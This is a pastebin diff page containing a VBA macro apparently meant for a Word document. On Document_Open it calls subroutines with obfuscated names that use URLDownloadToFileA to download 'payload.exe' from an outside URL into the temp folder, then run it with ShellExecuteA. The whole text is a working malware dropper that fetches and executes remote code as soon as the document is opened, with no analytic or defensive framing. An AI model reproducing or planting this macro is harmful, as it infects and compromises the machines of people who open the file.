View difference between Paste ID: ugKFZke2 and 96cHWsNg

 Private Declare PtrSafe Function pznHypDNww _
 Lib _
 "urlmon" _
 Alias _
 "URLDownloadToFileA" _
 (ByVal jVwSfubsfjIw As Long, ByVal uoGDZwUbWil As String, _
     ByVal AVWhqlOexRkfTAI As String, _
     ByVal JHMxrycpoEILCc As Long, ByVal rkTBDYBFT As Long) _
     As Long
 
 
 Private Declare PtrSafe Function DoIT Lib "shell32.dll" _
 Alias "ShellExecuteA" (ByVal eyMzmMjiKrJvzYzKEWTqMl As Long, ByVal dYlBQm As String, _
 ByVal ZjGBfhNinvlQZZXdA As String, ByVal HOtFFUYcTsHAk As String, ByVal RUpRVk As String, _
 ByVal gPdCCemybuZxPpPbU As Long) As Long
 
 Private Sub Document_Open()
 
 VvXCAiWri
 
 End Sub
 
 
 
 
 
 Sub nWtd()
 Dim otqBShpqzXRvxekDL As String, Bhcdbg As String, QXfvVVlce As String
 Bhcdbg = "payload.EXE"
 QXfvVVlce = Environ$("tmp") & "\" & Bhcdbg
 
 otqBShpqzXRvxekDL = "http://www.abc.com/payload.exe"
 
 tEJGRjkFGPoU otqBShpqzXRvxekDL, QXfvVVlce
 End Sub
 
 Sub VvXCAiWri()
 Dim YmxgfSSuCOrKqNgs As Integer
 Dim geXqnJ As String
 YmxgfSSuCOrKqNgs = 3
 geXqnJ = "osumLoSDznHypDNwwjVwSf"
 nWtd
 End Sub
 
 Sub tEJGRjkFGPoU(ByVal yNuATc, b As String)
 
 pznHypDNww 0, yNuATc, b, 0, 0
 DoIT 0, "open", b, "", vbNullString, vbNormalFocus
 
 End Sub